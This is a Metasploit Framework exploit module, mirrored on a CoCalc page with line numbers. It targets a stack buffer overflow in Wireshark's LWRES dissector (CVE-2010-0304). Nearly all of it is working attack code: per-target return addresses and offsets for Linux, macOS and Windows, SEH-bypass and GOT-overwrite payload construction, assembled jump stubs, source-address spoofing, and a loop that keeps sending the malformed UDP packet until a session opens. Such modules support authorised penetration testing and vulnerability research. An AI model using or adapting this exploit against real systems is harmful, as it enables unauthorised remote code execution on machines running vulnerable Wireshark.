Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/wireshark_lwres_getaddrbyname_loop.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
include Msf::Exploit::Remote::Seh
11
include Msf::Exploit::Capture
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)',
18
'Description' => %q{
19
The LWRES dissector in Wireshark version 0.9.15 through 1.0.10 and 1.2.0 through
20
1.2.5 allows remote attackers to execute arbitrary code due to a stack-based buffer
21
overflow. This bug found and reported by babi.
22
23
This particular exploit targets the dissect_getaddrsbyname_request function. Several
24
other functions also contain potentially exploitable stack-based buffer overflows.
25
26
The Windows version (of 1.2.5 at least) is compiled with /GS, which prevents
27
exploitation via the return address on the stack. Sending a larger string allows
28
exploitation using the SEH bypass method. However, this packet will usually get
29
fragmented, which may cause additional complications.
30
31
NOTE: The vulnerable code is reached only when the packet dissection is rendered.
32
If the packet is fragmented, all fragments must be captured and reassembled to
33
exploit this issue.
34
35
This version loops, sending the packet every X seconds until the job is killed.
36
},
37
'Author' => [
38
'babi', # original discovery/exploit
39
'jduck', # ported from public exploit
40
'redsand' # windows target/testing
41
],
42
'License' => MSF_LICENSE,
43
'References' => [
44
[ 'CVE', '2010-0304' ],
45
[ 'OSVDB', '61987' ],
46
[ 'BID', '37985' ],
47
[ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2010-02.html' ],
48
[ 'URL', 'http://anonsvn.wireshark.org/viewvc/trunk-1.2/epan/dissectors/packet-lwres.c?view=diff&r1=31596&r2=28492&diff_format=h' ]
49
],
50
'DefaultOptions' => {
51
'EXITFUNC' => 'process',
52
},
53
'Privileged' => true, # at least capture privilege
54
'Payload' => {
55
'Space' => 512,
56
'BadChars' => "\x00",
57
'DisableNops' => true,
58
},
59
'DefaultTarget' => 4,
60
'Platform' => %w{linux osx win},
61
'Targets' => [
62
[
63
'tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
64
# breakpoint: lwres.so + 0x2ce2
65
{
66
'Arch' => ARCH_X86,
67
'Platform' => 'linux',
68
# conveniently, edx pointed at our string..
69
# and so, we write it to g_slist_append's GOT entry just before its called.
70
# pwnt.
71
#
72
# mov [ebx+0xc],edx / jmp 0x804fc40 -->
73
# mov [esp+4],eax / mov eax,[edi+8] / mov [esp],eax / call g_slist_append
74
#
75
'Ret' => 0x804fc85, # see above..
76
'RetOff' => 376,
77
'Readable' => 0x804fa04, # just anything
78
'GotAddr' => 0x080709c8 # objdump -R tshark | grep g_slist_append
79
}
80
],
81
[
82
'wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)',
83
{
84
'Arch' => ARCH_X86,
85
'Platform' => 'linux',
86
# the method for tshark doesn't work, since there aren't any convenient
87
# pointers lying around (in reg/close on stack)
88
#
89
# since the wireshark bin has a jmp esp, we'll just use that method..
90
'Ret' => 0x818fce8, # jmp esp in wireshark bin
91
'RetOff' => 376,
92
'Readable' => 0x8066a40, # just any old readable addr (unused)
93
'GotAddr' => 0x818601c # objdump -R wireshark | grep g_slist_append (unused)
94
}
95
],
96
97
[
98
'wireshark 1.2.5 on RHEL 5.4 (x64)',
99
{
100
'Arch' => ARCH_X64,
101
'Platform' => 'linux',
102
'Ret' => 0xfeedfed5deadbeef,
103
'RetOff' => 152,
104
}
105
],
106
107
[
108
'wireshark 1.2.5 on Mac OS X 10.5 (x86)',
109
{
110
'Arch' => ARCH_X86,
111
'Platform' => 'osx',
112
'Ret' => 0xdeadbeef,
113
'RetOff' => 268,
114
}
115
],
116
117
# The following target was tested against Windows XP SP3 and Windows Vista
118
[
119
'wireshark/tshark 1.2.1 and 1.2.5 on Windows (x86)',
120
{
121
'Arch' => ARCH_X86,
122
'Platform' => 'win',
123
# NOTE: due to the length of this packet, your mileage may vary.
124
'Ret' => 0x61B4121B,
125
# 0x655810b6 = pop/pop/ret in libpango
126
# 0x02A110B6 = pop/pop/ret in libgtk-w
127
# 0x03D710CC = pop/mov/pop/ret in packet
128
# 0x61B4121B = pop/pop/ret in pcre3
129
'RetOff' => 2128,
130
}
131
],
132
],
133
'DisclosureDate' => '2010-01-27',
134
# Set it to passive mode to background it.
135
'Stance' => Msf::Exploit::Stance::Passive,
136
'Notes' => {
137
'Reliability' => UNKNOWN_RELIABILITY,
138
'Stability' => UNKNOWN_STABILITY,
139
'SideEffects' => UNKNOWN_SIDE_EFFECTS
140
}
141
)
142
)
143
144
register_options([
145
Opt::RPORT(921),
146
Opt::RHOST("239.255.255.250"),
147
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]),
148
OptInt.new('DELAY', [true, 'This option sets the delay between sent packets', 5])
149
])
150
151
register_advanced_options([
152
OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ])
153
])
154
155
deregister_options('FILTER', 'PCAPFILE')
156
end
157
158
def exploit
159
check_pcaprub_loaded # Check first
160
161
ret_offset = target['RetOff']
162
163
# we have different techniques depending on the target
164
if (target == targets[0])
165
# debian tshark
166
str = make_nops(ret_offset - payload.encoded.length - 16)
167
str << payload.encoded
168
str << [target['GotAddr'] - 0xc].pack('V')
169
str << rand_text(4)
170
str << [target['Readable']].pack('V')
171
str << rand_text(4)
172
# ret is next
173
elsif (target == targets[1])
174
fix_esp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-3500").encode_string
175
str = make_nops(ret_offset - fix_esp.length - payload.encoded.length)
176
str << fix_esp
177
str << payload.encoded
178
# jmp esp...
179
str << [target.ret].pack('V')
180
# jump back
181
distance = ret_offset + 4
182
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
183
elsif (target == targets[4])
184
# ugh, /GS and UDP length issues :-/
185
str = make_nops(ret_offset - payload.encoded.length)
186
str << payload.encoded
187
str << generate_seh_record(target.ret)
188
# jump back
189
distance = ret_offset + 8
190
str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
191
else
192
# this is just a simple DoS payload
193
str = Rex::Text.pattern_create(ret_offset)
194
# str << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+6").encode_string
195
end
196
197
# add return address
198
# XXX: this isn't working?
199
# str << Rex::Arch.pack_addr(target.arch, target.ret)
200
str << [target.ret].pack('V')
201
202
# form the packet's payload!
203
sploit = "\x00\x00\x01\x5d\x00\x00\x00\x00\x4b\x49\x1c\x52\x00\x01\x00\x01"
204
sploit << "\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00"
205
sploit << "\x00\x00\x00\x01"
206
sploit << [str.length].pack('n')
207
sploit << str
208
sploit << "\x00\x00"
209
210
shost = datastore['SHOST']
211
if (shost)
212
print_status("Sending malformed LWRES packet (spoofed from #{shost})")
213
open_pcap
214
215
p = PacketFu::UDPPacket.new
216
p.ip_saddr = datastore['SHOST'] || Rex::Socket.source_address(rhost)
217
p.ip_daddr = rhost
218
p.udp_sport = rand((2**16) - 1024) + 1024
219
p.udp_dport = datastore['RPORT'].to_i
220
p.payload = sploit
221
p.recalc
222
223
while true
224
break if session_created? and datastore['ExitOnSession']
225
break unless capture_sendto(p, rhost)
226
227
select(nil, nil, nil, datastore['DELAY'])
228
end
229
230
close_pcap
231
232
handler
233
else
234
print_status("Sending malformed LWRES packet every #{datastore['DELAY']} seconds.")
235
236
handler
237
238
while true
239
break if session_created? and datastore['ExitOnSession']
240
241
connect_udp
242
udp_sock.put(sploit)
243
disconnect_udp
244
select(nil, nil, nil, datastore['DELAY'])
245
end
246
end
247
end
248
end
249
250